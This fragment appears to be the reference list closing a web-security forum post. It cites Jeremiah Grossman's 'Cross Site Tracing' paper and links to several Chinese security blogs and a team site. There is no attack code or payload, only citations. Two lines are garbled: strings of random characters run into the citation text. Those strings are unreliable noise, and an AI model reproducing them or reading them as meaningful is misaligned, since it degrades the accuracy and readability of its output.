/ P( y4 e$ _. ?"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
2 T+ d- C2 J7 K; v: c8 `% r空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/